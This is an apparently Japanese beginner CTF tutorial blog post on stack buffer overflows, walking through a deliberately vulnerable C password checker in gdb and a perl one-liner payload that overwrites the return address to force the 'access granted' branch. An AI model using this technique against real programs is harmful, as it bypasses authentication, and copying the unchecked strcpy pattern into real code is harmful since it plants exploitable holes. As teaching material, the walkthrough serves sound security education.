はじめに

こんにちは！@flat-fieldです！
今回は，戻りアドレスを変更することによる攻撃手法についてご説明します．

読者対象

CTFこれからやってみたいと思っている人
CTF始めたけどよく分からないって人
C言語の基礎知識がわかっている人
面白そうだから読んでみたいという人

攻撃対象プログラム

今回は以下のプログラムに攻撃を仕掛けます．

# include <stdio.h>
# include <stdlib.h>
# include <string.h>

int check_authentication(char *password) {
   int auth_flag = 0;
   char password_buffer[16];
   char correct_password[256];
   FILE *fp;

   fp = fopen("password.txt", "r");
   fgets(correct_password, 256, fp);
   correct_password[strlen(correct_password)-1] = 0;

   strcpy(password_buffer, password);

   if(strcmp(password_buffer, correct_password) == 0)
      auth_flag = 1;

   return 0; // 絶対に認証が通らないようにする。                                                                                                              
}

int main(int argc, char *argv[]) {
   if(argc < 2) {
      printf("使用方法： %s <パスワード>\n", argv[0]);
      exit(0);
   }
   if(check_authentication(argv[1])) {
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
      printf("   アクセスを許可します。\n");
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
   } else {
      printf("\nアクセスを拒否しました。\n");
   }
}

認証機能プログラムなのですが，いくらパスワードを入力しても絶対に認証が通らないように設計されている，クソプログラムです．
「check_authenticationで必ず0が返されるから，アクセスを許可出来るわけないだろ！！！」と思った方に，「え！！アクセス許可されてしまう攻撃があるんだ...」と理解してもらうのが本記事の目的です．

早速このプログラムの動作を見ていきたいのですが，その前に関数が呼び出された時にスタックがどのような動作をしているのかを見てみましょう．

関数呼び出し時のスタック動作

main関数からcheck_authentication関数に制御が移るとき，スタックは次の動作を行います．

check_authentication関数が終わった次に実行するアドレス (main関数への戻りアドレス)をスタックにpushする
main関数のスタックベースポインタ(rbp)をpushする．
check_authenticationの各局所変数をスタックに積む

図でかくとこんな感じになります．

ここでポイントなのは，password_bufferに大きなデータを格納すると，main関数への戻りアドレスを書き換えることができてしまう，ということです．

その部分について詳しく説明していきます．

デバッグして動作を確認する．

まずはコンパイルしてgdbデバッガを立ち上げます．

bash

root@kali:~/Desktop/Hacking/mycode# gcc -g -o my_auth_overflow2 my_auth_overflow2.c
root@kali:~/Desktop/Hacking/mycode# gdb -q my_auth_overflow2
Reading symbols from my_auth_overflow2...done.
gdb-peda$

続いて，ブレークポイントを設定するために行番号付きプログラムを表示させ，28行目と15行目, 20行目にブレークポイントを設定します．

bash

gdb-peda$ list 1
1	#include <stdio.h> 
2	#include <stdlib.h> 
3	#include <string.h>
4	
5	int check_authentication(char *password) {
6　　　　　　int auth_flag = 0; 
7	   char password_buffer[16];
8	   char correct_password[256];
9	   FILE *fp;
10	
gdb-peda$ 
11	   fp = fopen("password.txt", "r");
12	   fgets(correct_password, 256, fp);
13	   correct_password[strlen(correct_password)-1] = 0;
14	
15	   strcpy(password_buffer, password);
16	
17	   if(strcmp(password_buffer, correct_password) == 0) 
18	      auth_flag = 1;
19	
20	   return 0; // 絶対に認証が通らないようにする。
gdb-peda$ 
21	}
22	
23	int main(int argc, char *argv[]) { 
24	   if(argc < 2) {
25	      printf("使用方法： %s <パスワード>\n", argv[0]); 
26	      exit(0);
27	   }
28	   if(check_authentication(argv[1])) {
29	      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 
30	      printf("   アクセスを許可します。\n"); 
gdb-peda$ break 28
Breakpoint 2 at 0x555555555280: file my_auth_overflow2.c, line 28.
gdb-peda$ break 15
Note: breakpoint 1 also set at pc 0x555555555208.
Breakpoint 3 at 0x555555555208: file my_auth_overflow2.c, line 15.
gdb-peda$ break 20
Breakpoint 4 at 0x55555555523f: file my_auth_overflow2.c, line 20.

ではプログラムを試しに走らせてみましょう．

bash

gdb-peda$ run AAAA
Starting program: /root/Desktop/Hacking/mycode/my_auth_overflow2 AAAA
Breakpoint 2, main (argc=0x2, argv=0x7fffffffe1b8) at my_auth_overflow2.c:28
28	   if(check_authentication(argv[1])) {
gdb-peda$

ここで，次にどのアセンブリ命令を実行しようとしているか確認しましょう．

bash

gdb-peda$ disass main
Dump of assembler code for function main:
   0x0000555555555246 <+0>:	push   rbp
   0x0000555555555247 <+1>:	mov    rbp,rsp
   0x000055555555524a <+4>:	sub    rsp,0x10
   0x000055555555524e <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000555555555251 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x0000555555555255 <+15>:	cmp    DWORD PTR [rbp-0x4],0x1
   0x0000555555555259 <+19>:	jg     0x555555555280 <main+58>
   0x000055555555525b <+21>:	mov    rax,QWORD PTR [rbp-0x10]
   0x000055555555525f <+25>:	mov    rax,QWORD PTR [rax]
   0x0000555555555262 <+28>:	mov    rsi,rax
   0x0000555555555265 <+31>:	lea    rdi,[rip+0xdac]        # 0x555555556018
   0x000055555555526c <+38>:	mov    eax,0x0
   0x0000555555555271 <+43>:	call   0x555555555060 <printf@plt>
   0x0000555555555276 <+48>:	mov    edi,0x0
   0x000055555555527b <+53>:	call   0x5555555550a0 <exit@plt>
=> 0x0000555555555280 <+58>:	mov    rax,QWORD PTR [rbp-0x10]
   0x0000555555555284 <+62>:	add    rax,0x8
   0x0000555555555288 <+66>:	mov    rax,QWORD PTR [rax]
   0x000055555555528b <+69>:	mov    rdi,rax
   0x000055555555528e <+72>:	call   0x5555555551a5 <check_authentication>
   0x0000555555555293 <+77>:	test   eax,eax
   0x0000555555555295 <+79>:	je     0x5555555552bd <main+119>
   0x0000555555555297 <+81>:	lea    rdi,[rip+0xda0]        # 0x55555555603e
   0x000055555555529e <+88>:	call   0x555555555040 <puts@plt>
   0x00005555555552a3 <+93>:	lea    rdi,[rip+0xdb6]        # 0x555555556060
   0x00005555555552aa <+100>:	call   0x555555555040 <puts@plt>
   0x00005555555552af <+105>:	lea    rdi,[rip+0xdcf]        # 0x555555556085
   0x00005555555552b6 <+112>:	call   0x555555555040 <puts@plt>
   0x00005555555552bb <+117>:	jmp    0x5555555552c9 <main+131>
   0x00005555555552bd <+119>:	lea    rdi,[rip+0xde4]        # 0x5555555560a8
   0x00005555555552c4 <+126>:	call   0x555555555040 <puts@plt>
   0x00005555555552c9 <+131>:	mov    eax,0x0
   0x00005555555552ce <+136>:	leave  
   0x00005555555552cf <+137>:	ret    
End of assembler dump.
gdb-peda$

0x0000555555555280を次に実行することがわかりました．
check_authentication関数を実行するには，0x0000555555555280 ~ 0x000055555555528bまでのアセンブリ命令を実行して前処理を完了させ，実際に0x000055555555528eでcheck_authentication関数を実行します．

では，check_authentication関数を終えた後は，main関数のどのアセンブリ命令を実行して欲しいでしょうか？

もちろん，check_authentication関数を呼び出し元の次の命令(0x0000555555555293)ですね．

では本当に0x0000555555555293に戻りアドレスが設定されているか確認してみましょう．

bash

gdb-peda$ n
Breakpoint 1, check_authentication (password=0x7fffffffe4fe "AAAA") at my_auth_overflow2.c:15
15	   strcpy(password_buffer, password);
gdb-peda$ p &password_buffer
$1 = (char (*)[16]) 0x7fffffffe090
gdb-peda$ x/20xw &password_buffer
0x7fffffffe090:	0x00000000	0x00000000	0x5555531d	0x00005555
0x7fffffffe0a0:	0x55559260	0x00005555	0x00000000	0x00000000
0x7fffffffe0b0:	0xffffe0d0	0x00007fff	0x55555293	0x00005555
0x7fffffffe0c0:	0xffffe1b8	0x00007fff	0x00000000	0x00000002
0x7fffffffe0d0:	0x555552d0	0x00005555	0xf7e12b17	0x00007fff

上記では，nコマンドによって28行目の次の命令を実行させ(つまりここでcheck_authentication関数に入る)，
p &password_bufferによってpassword_bufferのアドレスを表示させています．
main関数への戻りアドレスはpassword_buffer以降に格納されていますので， x/20xw &password_bufferによって，password_bufferが格納されているアドレスから20ワード(20 x 4バイト)分を表示させてみます．すると，戻りアドレスらしきものが含まれていますね．

0x7fffffffe0b0:	0xffffe0d0	0x00007fff	0x55555293	0x00005555

リトルエンディアンで表示されているので分かりにくいですが, 3ワード目と4ワード目が戻りアドレスを表しています．
つまりこの部分を書き換えることによって，自由に制御場所を設定することができるのです！！

アクセス許可を出してみる

ここまでわかったので，実際にアクセス許可を出させる攻撃を仕掛けてみましょう．
もう一度アセンブリ命令をみてみましょう．

bash

gdb-peda$ disass main
Dump of assembler code for function main:
   0x0000555555555246 <+0>:	push   rbp
   0x0000555555555247 <+1>:	mov    rbp,rsp
   0x000055555555524a <+4>:	sub    rsp,0x10
   0x000055555555524e <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000555555555251 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x0000555555555255 <+15>:	cmp    DWORD PTR [rbp-0x4],0x1
   0x0000555555555259 <+19>:	jg     0x555555555280 <main+58>
   0x000055555555525b <+21>:	mov    rax,QWORD PTR [rbp-0x10]
   0x000055555555525f <+25>:	mov    rax,QWORD PTR [rax]
   0x0000555555555262 <+28>:	mov    rsi,rax
   0x0000555555555265 <+31>:	lea    rdi,[rip+0xdac]        # 0x555555556018
   0x000055555555526c <+38>:	mov    eax,0x0
   0x0000555555555271 <+43>:	call   0x555555555060 <printf@plt>
   0x0000555555555276 <+48>:	mov    edi,0x0
   0x000055555555527b <+53>:	call   0x5555555550a0 <exit@plt>
   0x0000555555555280 <+58>:	mov    rax,QWORD PTR [rbp-0x10]
   0x0000555555555284 <+62>:	add    rax,0x8
   0x0000555555555288 <+66>:	mov    rax,QWORD PTR [rax]
   0x000055555555528b <+69>:	mov    rdi,rax
   0x000055555555528e <+72>:	call   0x5555555551a5 <check_authentication>
   0x0000555555555293 <+77>:	test   eax,eax
   0x0000555555555295 <+79>:	je     0x5555555552bd <main+119>
   0x0000555555555297 <+81>:	lea    rdi,[rip+0xda0]        # 0x55555555603e
   0x000055555555529e <+88>:	call   0x555555555040 <puts@plt>
   0x00005555555552a3 <+93>:	lea    rdi,[rip+0xdb6]        # 0x555555556060
   0x00005555555552aa <+100>:	call   0x555555555040 <puts@plt>
   0x00005555555552af <+105>:	lea    rdi,[rip+0xdcf]        # 0x555555556085
   0x00005555555552b6 <+112>:	call   0x555555555040 <puts@plt>
   0x00005555555552bb <+117>:	jmp    0x5555555552c9 <main+131>
   0x00005555555552bd <+119>:	lea    rdi,[rip+0xde4]        # 0x5555555560a8
   0x00005555555552c4 <+126>:	call   0x555555555040 <puts@plt>
   0x00005555555552c9 <+131>:	mov    eax,0x0
   0x00005555555552ce <+136>:	leave  
   0x00005555555552cf <+137>:	ret    
End of assembler dump.

アクセス許可を表示する部分は，0x0000555555555297 ~ 0x00005555555552b6になっております．
したがって0x0000555555555297を戻りアドレスに設定すれば良さそうですね．

そのためには何をパスワードとして入力させれば良さそうでしょうか？

もう一度以下の命令をみてみましょう．

bash

gdb-peda$ x/20xw &password_buffer
0x7fffffffe090:	0x00000000	0x00000000	0x5555531d	0x00005555
0x7fffffffe0a0:	0x55559260	0x00005555	0x00000000	0x00000000
0x7fffffffe0b0:	0xffffe0d0	0x00007fff	0x55555293	0x00005555
0x7fffffffe0c0:	0xffffe1b8	0x00007fff	0x00000000	0x00000002
0x7fffffffe0d0:	0x555552d0	0x00005555	0xf7e12b17	0x00007fff

password_bufferが格納されているアドレスから，11ワード目と12ワード目が戻りアドレスとなっております．したがって，10ワード目(40バイト分)はゴミデータを入れて，11ワード目以降は0x0000555555555297を入力できれば良さそうですね(リトルエンディアンで入力することに注意してください)．

以下のコマンドを打ってみましょう．

bash

gdb-peda$ run $(perl -e 'print "A"x40 . "\x97\x52\x55\x55\x55\x55"')
Breakpoint 2, main (argc=0x2, argv=0x7fffffffe198) at my_auth_overflow2.c:28
28	   if(check_authentication(argv[1])) {
gdb-peda$ c
Breakpoint 1, check_authentication (password=0x7fffffffe4d4 'A' <repeats 15 times>...) at my_auth_overflow2.c:15
15	   strcpy(password_buffer, password);
gdb-peda$ c
Breakpoint 4, check_authentication (password=0x7fffffffe4d4 'A' <repeats 15 times>...) at my_auth_overflow2.c:20
20	   return 0; // 絶対に認証が通らないようにする。
gdb-peda$ c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>, argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at my_auth_overflow2.c:35
35	}
gdb-peda$

はい，アクセスが許可されましたね．

このようにスタックバッファーオーバフローを利用して戻りアドレスを書き換えることによって，
自由に制御位置を設定することができるのです！！！！！！

参考文献